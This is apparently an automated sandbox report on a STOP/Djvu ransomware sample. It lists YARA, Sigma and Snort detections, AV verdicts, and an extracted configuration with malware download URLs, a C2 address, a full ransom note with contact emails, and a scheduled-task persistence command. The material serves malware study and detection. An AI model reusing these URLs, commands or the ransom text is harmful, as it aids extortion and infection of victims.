2.2.R5391762lf.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.R5391762lf.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.R5391762lf.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.R5391762lf.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.R5391762lf.exe.5ec15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.R5391762lf.exe.5ec15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.R5391762lf.exe.5ec15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.R5391762lf.exe.5db15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.R5391762lf.exe.5db15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.R5391762lf.exe.5db15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.R5391762lf.exe.5da15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.R5391762lf.exe.5da15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.R5391762lf.exe.5da15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
24.2.R5391762lf.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
24.2.R5391762lf.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.2.R5391762lf.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.R5391762lf.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.R5391762lf.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.R5391762lf.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
24.2.R5391762lf.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
24.2.R5391762lf.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.2.R5391762lf.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.R5391762lf.exe.5ea15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.R5391762lf.exe.5ea15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.R5391762lf.exe.5ea15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.R5391762lf.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.R5391762lf.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.R5391762lf.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.2.R5391762lf.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.2.R5391762lf.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.2.R5391762lf.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 108 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\R5391762lf.exe, ProcessId: 7360, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe" , ParentImage: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe, ParentProcessId: 8148, ParentProcessName: build3.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe", ProcessId: 8168, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Snort Signatures

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.8 - Destination IP: 186.145.236.18

Timestamp:	04/24/24-17:37:15.248400
SID:	2036333
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.8 - Destination IP: 186.145.236.18

Timestamp:	04/24/24-17:37:15.248400
SID:	2020826
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 186.145.236.18 - Destination IP: 192.168.2.8

Timestamp:	04/24/24-17:37:11.734536
SID:	2036335
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.8 - Destination IP: 186.13.17.220

Timestamp:	04/24/24-17:37:10.976655
SID:	2036333
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 186.145.236.18 - Destination IP: 192.168.2.8

Timestamp:	04/24/24-17:37:11.771819
SID:	2036335
Source Port:	80
Destination Port:	49709
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.8 - Destination IP: 186.13.17.220

Timestamp:	04/24/24-17:37:10.976655
SID:	2020826
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN STOP Ransomware CnC Activity - Source IP: 192.168.2.8 - Destination IP: 186.145.236.18

Timestamp:	04/24/24-17:37:11.036753
SID:	2833438
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: R5391762lf.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://cajgtus.com/files/1/build3.exe	Avira URL Cloud: Label: malware
Source: http://sdfjhuz.com/dl/build2.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Avira: detection malicious, Label: HEUR/AGEN.1313019
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\build3[1].exe	Avira: detection malicious, Label: TR/AD.MalwareCrypter.llbpm
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Avira: detection malicious, Label: TR/AD.MalwareCrypter.llbpm

Found malware configuration

Source: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": ["http://sdfjhuz.com/dl/build2.exe", "http://cajgtus.com/files/1/build3.exe"], "C2 url": "http://cajgtus.com/test1/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0863PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E
Source: 00000009.00000002.1502638549.0000000001BA0000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199673019888"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\build3[1].exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	ReversingLabs: Detection: 86%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\build3[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: R5391762lf.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	2_2_0040E870
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	2_2_0040EA51
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	2_2_0040EAA0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	2_2_0040EC68
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	2_2_00410FC0
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 2_2_00411178 CryptDestroyHash,CryptReleaseContext,	2_2_00411178

Source: R5391762lf.exe, 00000007.00000003.2078287754.00000000030F1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_2e10f168-1

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\R5391762lf.exe	Unpacked PE file: 2.2.R5391762lf.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Unpacked PE file: 8.2.R5391762lf.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Unpacked PE file: 11.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Unpacked PE file: 14.2.R5391762lf.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Unpacked PE file: 16.2.build3.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 20.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Unpacked PE file: 24.2.R5391762lf.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 28.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 31.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 33.2.mstsca.exe.400000.0.unpack

Source: R5391762lf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\$WinREAgent\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\$WinREAgent\Scratch\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\_README.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	File created: C:\_README.txt
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	File created: C:\Users\user\_README.txt

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.66.133.162:443 -> 192.168.2.8:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.8:49725 version: TLS 1.2

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: R5391762lf.exe, 00000007.00000003.1946209635.000000000342A000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.1946440277.000000000344B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\41\\5bU)% source: R5391762lf.exe, 00000007.00000003.2101462932.0000000003691000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: R5391762lf.exe, 00000007.00000003.2099254627.000000000380B000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2100295097.000000000397E000.00000004.00000020.00020000.00000000.sdmp, R5391762lf.exe, 00000007.00000003.2077993512.000000000391E000.00000004.00000020.00020000.00000000.sdmp
